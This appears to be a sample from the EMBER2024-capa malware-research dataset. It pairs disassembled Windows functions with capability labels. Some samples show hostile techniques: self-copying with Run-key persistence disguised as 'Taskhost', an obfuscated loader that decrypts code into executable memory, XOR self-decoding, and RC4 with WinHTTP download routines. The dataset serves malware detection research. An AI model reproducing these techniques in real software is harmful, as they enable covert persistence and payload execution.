joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40164b
Capabilities:
Initialize winhttp library
Prepare http request
Read http header
Receive http response

Disassembly:
sub esp, 0x1c
or dword [esp + 4], 0xffffffff
mov eax, edx
push ebx
push esi
mov ebx, ecx
mov dword [esp + 0x18], eax
xor ecx, ecx
push ecx
push ecx
mov dword [eax], ecx
mov esi, ecx
mov eax, dword [esp + 0x30]
push ecx
push ecx
push ecx
mov dword [esp + 0x24], ecx
mov dword [eax], ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov ecx, eax
mov dword [esp + 0x20], ecx
test ecx, ecx
je 0x401801
movzx eax, word [ebx + 8]
push ebp
push esi
push eax
push dword [ebx]
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov ebp, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov ecx, eax
mov dword [esp + 0x20], ecx
test ecx, ecx
je 0x4017fa
mov eax, dword [ebx + 0xc]
neg eax
push edi
sbb eax, eax
and eax, 0x800000
push eax
mov dword [esp + 0x20], eax
xor eax, eax
push eax
push eax
push eax
push dword [ebx + 4]
push 0x4020fc
push ecx
call dword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov edi, eax
test edi, edi
je 0x4017f3
cmp dword [ebx + 0xc], esi
je 0x4016f7
push 4
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 0x3300
push eax
push 0x1f
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSetOption]
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x4017f0
push ebx
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test eax, eax
je 0x4017f0
push ebx
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 4
push eax
lea eax, [esp + 0x1c]
push eax
push ebx
push 0x20000013
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryHeaders]
neg eax
mov dword [esp + 0x10], ebx
sbb eax, eax
and dword [esp + 0x14], eax
lea eax, [esp + 0x10]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
je 0x4017e0
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4017d8
inc eax
add eax, ebx
je 0x40180b
inc eax
push eax
test esi, esi
je 0x401787
push esi
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapReAlloc]
jmp 0x401796
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x4017e0
lea eax, [esp + 0x10]
push eax
push dword [esp + 0x14]
lea eax, [ebx + esi]
push eax
push edi
call dword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
je 0x4017d8
cmp dword [esp + 0x10], 0
je 0x4017d8
add ebx, dword [esp + 0x10]
lea eax, [esp + 0x10]
and dword [esp + 0x10], 0
push eax
push edi
mov dword [esp + 0x20], ebx
call dword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x40175e
test esi, esi
je 0x4017e0
mov byte [ebx + esi], 0
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x30]
mov dword [eax], esi
mov eax, dword [esp + 0x18]
mov dword [ecx], eax
push edi
call ebp
push dword [esp + 0x24]
call ebp
pop edi
push dword [esp + 0x24]
call ebp
pop ebp
mov eax, dword [esp + 0xc]
pop esi
pop ebx
add esp, 0x1c
ret
xor esi, esi
jmp 0x4017e0
Function at 0x40180f
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
mov ebp, edx
mov dword [esp + 0x10], ecx
xor edx, edx
push edi
mov edi, dword [esp + 0x1c]
mov eax, edx
mov byte [eax + edi], al
inc eax
cmp eax, 0x100
jb 0x401823
mov cl, dl
mov ebx, edx
mov eax, dword [esp + 0x14]
movzx esi, dl
mov dl, byte [ebx + edi]
mov al, byte [esi + eax]
add al, dl
add cl, al
mov byte [esp + 0x13], cl
movzx ecx, cl
mov al, byte [ecx + edi]
mov byte [ebx + edi], al
lea eax, [esi + 1]
mov byte [ecx + edi], dl
xor edx, edx
mov cl, byte [esp + 0x13]
div ebp
inc ebx
cmp ebx, 0x100
jb 0x401832
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x40186e
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x104
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi], ebx
je 0x401927
cmp dword [esi + 4], ebx
je 0x401927
cmp dword [esi + 8], ebx
je 0x401927
mov eax, dword [esi + 0xc]
test eax, eax
je 0x401927
cmp dword [esi + 0x10], ebx
jne 0x4018bc
inc eax
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [esi + 0x10], eax
test eax, eax
je 0x401927
mov edx, dword [esi + 4]
lea eax, [esp + 0xc]
mov ecx, dword [esi]
push ebp
push eax
call fcn.0040180f
mov ebp, dword [esi + 0xc]
pop ecx
test ebp, ebp
je 0x401921
push edi
mov edi, dword [esi + 0x10]
mov eax, ebx
mov esi, dword [esi + 8]
sub esi, edi
inc bl
movzx ebx, bl
mov cl, byte [esp + ebx + 0x14]
movzx edx, cl
add al, dl
movzx eax, al
mov dword [esp + 0x10], eax
mov al, byte [esp + eax + 0x14]
mov byte [esp + ebx + 0x14], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x14], cl
mov al, byte [esp + ebx + 0x14]
add al, dl
movzx eax, al
mov al, byte [esp + eax + 0x14]
xor al, byte [esi + edi]
mov byte [edi], al
inc edi
mov eax, dword [esp + 0x10]
sub ebp, 1
jne 0x4018df
pop edi
xor eax, eax
inc eax
pop ebp
jmp 0x401929
xor eax, eax
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x40b346
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1800
call fcn.0040d5a0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov esi, 0x400
push esi
lea eax, [ebp - 0x800]
push eax
xor ebx, ebx
push ebx
call edi
push str.cmxjc48cjj.exe
lea eax, [ebp - 0x800]
call fcn.00405493
test eax, eax
pop ecx
je 0x40b3cf
push esi
lea eax, [ebp - 0x800]
push eax
push ebx
call edi
push 1
lea eax, [ebp - 0x800]
push eax
push str.Taskhost
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000001
call fcn.004069fd
add esp, 0x14
test eax, eax
push 4
je 0x40b3b9
push ebx
push 3
jmp 0x40b3c2
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 6
call fcn.0040a786
add esp, 0xc
call fcn.0040b2ce
call fcn.0040aafd
test eax, eax
jne 0x40b3ca
call fcn.0040ab7c
test eax, eax
je 0x40b442
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push 4
push ebx
push 9
call fcn.0040a786
add esp, 0xc
push esi
lea eax, [ebp - 0x1800]
push eax
push ebx
call edi
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
test eax, eax
pop ecx
je 0x40b442
push ebx
lea eax, [ebp - 0x800]
push eax
lea eax, [ebp - 0x1800]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x40b442
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
pop ecx
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.0040abd9
test eax, eax
je 0x40b49c
lea eax, [ebp - 0x800]
push eax
call fcn.0040ac20
lea eax, [ebp - 0x800]
push eax
call fcn.00407727
test eax, eax
pop ecx
pop ecx
je 0x40b487
lea eax, [ebp - 0x800]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
jmp 0x40b492
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 1
call fcn.0040a786
add esp, 0xc
jmp 0x40b43b
push ebx
call fcn.00407727
cmp eax, ebx
pop ecx
push esi
je 0x40b4be
lea ecx, [ebp - 0x1000]
push ecx
push dword [eax*4 + 0x41103c]
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
jmp 0x40b4d8
lea eax, [ebp - 0x1000]
push eax
push ebx
call edi
mov ecx, str.__nomove
lea eax, [ebp - 0x1000]
call fcn.004054ed
lea eax, [ebp - 0x1000]
push eax
call fcn.004077f0
test eax, eax
pop ecx
jne 0x40b43b
push 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0xb
call fcn.0040a786
add esp, 0xc
mov dword [0x411054], ebx
jmp 0x40b3ca

Function at 0x40cd56
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x40cd60
repz ret
jmp fcn.0040cffb

Function at 0x427432
Capabilities:
Encode data using xor

Disassembly:
pop ebp
clc
pushal
lea edi, [ebp + 0x42]
mov si, 0x256
cld
mov cl, byte [edi]
xor cl, 0x59
rol cl, 0xc4
xor cl, 0x18
mov byte [edi], cl
inc edi
dec si
jne 0x42743d
jmp 0x427495
fmul st(0)
fdivr dword [esi + 0x7d0c6bc0]
invalid
Function at 0x9009812
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x9009821
pop dword [ebp - 0xc]
mov eax, 0xcb9aa808
sub eax, 0xc29a0fe7
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x43190651
sub dword [ebp - 0x1c], 0xf4c6c106
mov dword [ebp - 0x18], 0xb0d79f7d
add dword [ebp - 0x18], 0x815bacc8
mov dword [ebp - 0x14], 0xa7305413
sub dword [ebp - 0x14], 0x5ae40fe5
mov dword [ebp - 0x10], 0x17c8dc21
sub dword [ebp - 0x10], 0x17c8dc21
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x2e98104e
sub eax, 0x258d3016
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x4cbd6282
add dword [ebp - 0x1c], 0x27b506d4
mov dword [ebp - 0x18], 0xea041fa0
add dword [ebp - 0x18], 0x576841d5
mov dword [ebp - 0x14], 0x5b4a34ed
add dword [ebp - 0x14], 0x825377f
mov dword [ebp - 0x10], 0x66f9369d
add dword [ebp - 0x10], 0x9906c963
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0xca3e0cb8
add eax, 0x3eccd398
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x6073c
push 0
call eax
mov ecx, 0x4032
mov edi, eax
mov ebx, 0x90f4000
add ebx, dword [ebp - 0xc]
mov esi, 0x20486b7a
add esi, 0x162bc274
xor dword [ebp - 4], ebx
mov edx, dword [ebx]
sub dword [ebp - 4], esi
add edx, esi
mov dword [edi], edx
xor dword [ebp - 8], edi
add edi, 4
add ebx, 0x2883c3f0
sub ebx, 0x2883c3ec
loop 0x9009937
add eax, 0x75d4e2ec
add eax, 0x8a2c10af
xor ebx, ebx
add ebx, eax
add eax, 0xc91477c1
add eax, 0x36eb8844
mov ecx, 0x9000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret

Function at 0x900c236
Capabilities:
Get common file path

Disassembly:
push 0x224
mov eax, 0x90a819f
call fcn.09007445
cmp byte [ebp + 0x10], 0
mov edi, dword [ebp + 8]
push 0x1a
pop esi
push 0x2b
pop eax
cmove esi, eax
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x218]
push ebx
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
mov eax, esi
or eax, 0x8000
cmp byte [ebp + 0xc], bl
push ebx
push ebx
cmovne esi, eax
push esi
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
je 0x900c292
xor al, al
jmp 0x900c2e2
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x230]
call fcn.0900cf2c
push dword [ebp + 0xc]
lea ecx, [ebp - 0x230]
mov dword [ebp - 4], ebx
push str.Adobe
call fcn.0900d7af
test al, al
je 0x900c2d5
lea eax, [ebp - 0x230]
mov ecx, edi
push eax
call fcn.09009812
mov ecx, edi
call fcn.0900e6d7
mov bl, al
lea ecx, [ebp - 0x230]
call fcn.09009812
mov al, bl
call fcn.090091e6
ret
Function at 0x903d7c6
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0x1f8
mov eax, 0x90a9b67
call fcn.09007445
mov ebx, dword [ebp + 8]
lea eax, [ebp - 0x1fc]
mov esi, dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push 0x80
push 0
push eax
mov dword [ebp - 0x200], ebx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
mov ecx, 0x41444245
and dword [ebp - 0x1bc], 0
mov dword [ebp - 0x1ec], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1e8], eax
lea eax, [ebp - 0x1e4]
push 1
push eax
mov dword [ebp - 0x1f8], ecx
mov dword [ebp - 0x1f4], 0x4000000
mov dword [ebp - 0x1f0], 0x6c696e6b
mov dword [ebp - 0x1d8], 0x61637370
mov dword [ebp - 0x1b8], 0xf6d6
mov dword [ebp - 0x1b4], 0x10000
mov dword [ebp - 0x1b0], 0xd32d
mov dword [ebp - 0x1ac], ecx
call fcn.09007585
add esp, 0x14
lea eax, [ebp - 0x1fc]
lea ecx, [ebp - 0x17c]
push eax
push ebx
call fcn.09009812
push str.ACE_Device_Link
push ebx
lea ecx, [ebp - 0x74]
call fcn.0903a1fe
and dword [ebp - 4], 0
lea eax, [ebp - 0x74]
test esi, esi
lea ecx, [ebp - 0x17c]
cmovne eax, esi
push eax
call fcn.09009812
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x4c]
push ebx
call fcn.09039fb0
lea eax, [ebp - 0x4c]
mov byte [ebp - 4], 1
push eax
lea ecx, [ebp - 0x17c]
call fcn.09009812
lea ecx, [ebp - 0x24]
call fcn.09009812
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x17c]
call fcn.09009812
push edi
lea ecx, [ebp - 0x17c]
call fcn.09009812
lea ecx, [ebp - 0x17c]
call fcn.0900955c
mov ecx, dword [ebp - 0x200]
mov edi, eax
mov ebx, dword [edi + 0x28]
push ebx
call fcn.09009812
mov ecx, dword [edi]
push eax
push ebx
push 0
mov esi, dword [ecx + 0x18]
mov ecx, esi
mov dword [ebp - 0x204], eax
call dword [0x90ae2d0]
mov ecx, edi
call esi
mov ecx, edi
call fcn.0900642e
mov edi, dword [ebp - 0x204]
push ebx
push edi
call fcn.09009812
push ebx
mov ebx, dword [ebp - 0x200]
push edi
push ebx
call fcn.09009812
add esp, 0x14
mov ecx, ebx
mov esi, eax
push edi
call fcn.09009812
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0x24], vtable.CProfileTag.0
mov byte [ebp - 4], 0
call fcn.0903ab60
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x74]
call fcn.0903ac7e
mov eax, esi
call fcn.090091e6
ret
Function at 0x90500f8
Capabilities:
Get memory capacity

Disassembly:
push 0x28
mov eax, 0x90aab4f
call fcn.0900578b
mov esi, ecx
lea eax, [ebp - 0x34]
mov dword [ebp - 0x34], 0x20
push eax
call dword [sym.imp.kernel32.dll_GlobalMemoryStatus]
mov eax, dword [ebp - 0x24]
xor ecx, ecx
sub eax, dword [ebp - 0x20]
sub eax, dword [esi + 8]
sbb ecx, dword [esi + 0xc]
js 0x9050163
jg 0x905012d
test eax, eax
jb 0x9050163
mov edx, dword [esi + 4]
imul edi, edx, 3
test ecx, ecx
jg 0x9050163
jl 0x905013d
cmp eax, edi
ja 0x9050163
cmp eax, edx
jbe 0x9050157
mov ecx, dword [esi]
sub eax, edx
and dword [ebp - 4], 0
push eax
call fcn.09009812
jmp 0x9050163
jae 0x9050163
mov ecx, dword [esi]
sub edx, eax
push edx
call fcn.09009812
call fcn.0900625f
ret
Function at 0x906c6ef
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x148
mov eax, 0x90abd2c
call fcn.09007445
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x14c]
push eax
xor ebx, ebx
mov esi, 0x20019
push esi
push ebx
push str.SOFTWARE
push 0x80000002
mov dword [ebp - 0x14c], ebx
mov dword [ebp - 0x148], ebx
mov dword [ebp - 0x144], ebx
mov dword [ebp - 0x13c], ebx
mov dword [ebp - 0x140], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c74e
mov dword [ebp - 0x14c], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x148]
push eax
push esi
push ebx
push str.Adobe
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c777
mov dword [ebp - 0x148], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x144]
push eax
push esi
push ebx
push str.Color
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c7a0
mov dword [ebp - 0x144], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x13c]
push eax
push esi
push ebx
push str.Monitor
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c7c9
mov dword [ebp - 0x13c], ebx
jmp 0x906c8cd
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
mov esi, ebx
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Primary_Monitor
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x906c81b
cmp dword [ebp - 0x154], 4
jne 0x906c81b
mov esi, dword [ebp - 0x120]
cmp esi, 0x3e7
ja 0x906c8cd
push esi
push str.Monitor_u
lea eax, [ebp - 0x1c]
push 0xb
push eax
call fcn.09009812
add esp, 0x10
lea eax, [ebp - 0x140]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x906c85b
mov dword [ebp - 0x140], ebx
jmp 0x906c8e2
lea eax, [ebp - 0x150]
mov dword [ebp - 0x150], 0x104
push eax
lea eax, [ebp - 0x120]
push eax
lea eax, [ebp - 0x154]
push eax
push ebx
push str.Monitor_Profile
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x906c8cd
cmp dword [ebp - 0x154], 1
jne 0x906c8cd
lea eax, [ebp - 0x120]
push eax
lea ecx, [ebp - 0x138]
call fcn.090169c5
lea eax, [ebp - 0x138]
mov dword [ebp - 4], ebx
push eax
mov ecx, edi
call fcn.09009812
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x138]
call fcn.09009812
mov bl, 1
cmp dword [ebp - 0x140], 0
je 0x906c8e2
push dword [ebp - 0x140]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x13c], 0
je 0x906c8f7
push dword [ebp - 0x13c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x144], 0
je 0x906c90c
push dword [ebp - 0x144]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x148], 0
je 0x906c921
push dword [ebp - 0x148]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x14c], 0
je 0x906c936
push dword [ebp - 0x14c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
call fcn.090091e6
ret
Function at 0x906e3b8
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x90abdd2
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1430
call fcn.090a6f20
mov eax, dword [0x90e6610]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebx + 8]
xor eax, eax
mov ecx, edi
mov dword [ebp - 0x1424], edi
mov dword [ebp - 0x1430], eax
mov dword [ebp - 0x1428], eax
mov dword [ebp - 0x143c], edi
call fcn.090168fd
xor ecx, ecx
push 0xf
mov eax, ecx
mov dword [ebp - 4], ecx
pop esi
mov dword [ebp - 0x142c], eax
mov dword [ebp - 0x1420], esi
xor edx, edx
mov edi, ecx
div esi
mov dword [ebp - 0x141c], edi
lea esi, [ebp - 0x416]
mov dword [ebp - 0x1434], eax
mov eax, edi
xor edx, edx
div dword [ebp - 0x1420]
mov edi, ecx
mov dword [ebp - 0x1438], eax
mov edx, dword [ebp - 0x1434]
mov byte [esi - 1], dl
xor edx, edx
mov byte [esi], al
mov eax, edi
div dword [ebp - 0x1420]
mov edx, 0xff
mov byte [esi + 1], al
add edi, edx
mov eax, dword [ebp - 0x1438]
add esi, 4
cmp edi, 0xff0
jb 0x906e460
mov edi, dword [ebp - 0x141c]
add edi, edx
mov dword [ebp - 0x141c], edi
cmp edi, 0xff0
jb 0x906e44e
push ecx
mov ecx, dword [ebp - 0x1424]
lea esi, [edx + 1]
push 0x5058595a
push 0x706c6162
push esi
lea eax, [ebp - 0x1418]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.09009812
push esi
lea eax, [ebp - 0xc18]
push eax
lea eax, [ebp - 0x418]
push eax
call fcn.09009812
add esp, 0xc
xor esi, esi
mov dword [ebp - 0x141c], esi
movzx eax, word [ebp + esi - 0xc16]
movzx ecx, word [ebp + esi - 0x1416]
sub ecx, eax
mov eax, ecx
movzx ecx, word [ebp + esi - 0x1414]
cdq
mov edi, eax
movzx eax, word [ebp + esi - 0xc14]
sub ecx, eax
xor edi, edx
mov eax, ecx
sub edi, edx
mov ecx, dword [ebp - 0x141c]
cdq
mov esi, eax
xor esi, edx
movzx eax, word [ebp + ecx - 0xc12]
sub esi, edx
movzx ecx, word [ebp + ecx - 0x1412]
sub ecx, eax
mov eax, ecx
mov ecx, dword [ebp - 0x1428]
cdq
xor eax, edx
sub eax, edx
cmp ecx, edi
cmovl ecx, edi
cmp ecx, esi
cmovl ecx, esi
mov esi, dword [ebp - 0x141c]
cmp ecx, eax
cmovl ecx, eax
add esi, 8
mov dword [ebp - 0x1428], ecx
mov dword [ebp - 0x141c], esi
cmp esi, 0x800
jb 0x906e4ed
cmp ecx, 0xa
ja 0x906e5a9
mov eax, dword [ebp - 0x142c]
mov esi, dword [ebp - 0x1420]
add eax, 0xff
mov dword [ebp - 0x142c], eax
push 0
pop ecx
cmp eax, 0xff0
jb 0x906e436
mov byte [ebp - 0x1430], 1
mov ecx, dword [ebp - 0x1424]
or dword [ebp - 4], 0xffffffff
call fcn.09016a6b
mov al, byte [ebp - 0x1430]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.09001f80
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x907dd32
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
mov ebx, esp
push ecx
push ecx
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x90ac387
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x13f0
call fcn.090a6f20
mov eax, dword [0x90e6610]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x13e8], edi
mov esi, dword [ebx + 8]
push 0
mov dword [ebp - 0x13e4], esi
mov eax, dword [esi + 4]
add eax, 0x94
push eax
call fcn.09009812
cmp dword [edi], 0
pop ecx
pop ecx
jne 0x907ddb7
push 0
push 0x9c4
push 0xf424
push dword [esi + 4]
call fcn.09009812
add esp, 0x10
mov dword [edi], eax
mov ecx, esi
mov dword [ebp - 0x13ec], esi
call fcn.090168fd
and dword [ebp - 4], 0
lea edi, [ebp - 0x48]
push 0xc
pop ecx
mov eax, ecx
mov dword [ebp - 0x13dc], 0x18
xor edx, edx
add ecx, 0x8000
div dword [ebp - 0x13dc]
mov word [edi], ax
lea edi, [edi + 2]
cmp ecx, 0xc800c
jb 0x907ddce
and dword [ebp - 0x13e0], 0
lea eax, [ebp - 0x48]
mov dword [ebp - 0x13dc], eax
movzx eax, word [eax]
lea ecx, [ebp - 0x13cc]
xor edx, edx
mov dword [ebp - 0x13d8], eax
mov dword [ebp - 0x13d4], edx
movzx esi, word [ebp + edx*2 - 0x48]
xor edi, edi
mov edx, dword [ebp - 0x13d8]
mov ax, word [ebp + edi*2 - 0x48]
inc edi
mov word [ecx - 2], dx
mov word [ecx], si
mov word [ecx + 2], ax
add ecx, 8
cmp edi, 0x19
jb 0x907de2a
mov edx, dword [ebp - 0x13d4]
inc edx
mov dword [ebp - 0x13d4], edx
cmp edx, 0x19
jb 0x907de1d
mov ecx, dword [ebp - 0x13e4]
lea eax, [ebp - 0x13d0]
push 0
push 0x434d594b
push 0x504c4142
push 0x271
push eax
push eax
call fcn.09009812
mov eax, dword [ebp - 0x13e8]
lea ecx, [ebp - 0x1400]
mov edi, dword [ebp - 0x13e0]
push 1
push 0x9c4
push edi
push dword [eax]
call fcn.09009812
lea ecx, [ebp - 0x1400]
mov byte [ebp - 4], 1
call fcn.09005d4d
lea esi, [ebp - 0x13d0]
mov dword [ebp - 0x13d8], 0x19
lea edi, [eax + 2]
mov dword [ebp - 0x13d4], 0x19
mov ecx, dword [esi]
mov edx, dword [esi + 4]
add esi, 8
movzx eax, cx
imul eax, eax, 0xff
shr ecx, 0x10
add eax, 0x4000
shr eax, 0xf
mov byte [edi - 2], al
imul eax, ecx, 0xff
mov ecx, 0x4000
add eax, ecx
shr eax, 0xf
mov byte [edi - 1], al
movzx eax, dx
imul eax, eax, 0xff
shr edx, 0x10
add eax, ecx
shr eax, 0xf
mov byte [edi], al
imul eax, edx, 0xff
add eax, ecx
shr eax, 0xf
mov byte [edi + 1], al
add edi, 4
sub dword [ebp - 0x13d4], 1
jne 0x907dec6
sub dword [ebp - 0x13d8], 1
jne 0x907debc
lea ecx, [ebp - 0x1400]
mov byte [ebp - 4], 0
call fcn.09005e1d
mov edi, dword [ebp - 0x13e0]
mov eax, dword [ebp - 0x13dc]
add edi, 0x9c4
mov esi, dword [ebp - 0x13e4]
add eax, 2
mov dword [ebp - 0x13dc], eax
mov dword [ebp - 0x13e0], edi
cmp edi, 0xf424
jb 0x907de06
or dword [ebp - 4], 0xffffffff
mov ecx, esi
call fcn.09016a6b
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.09001f80
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4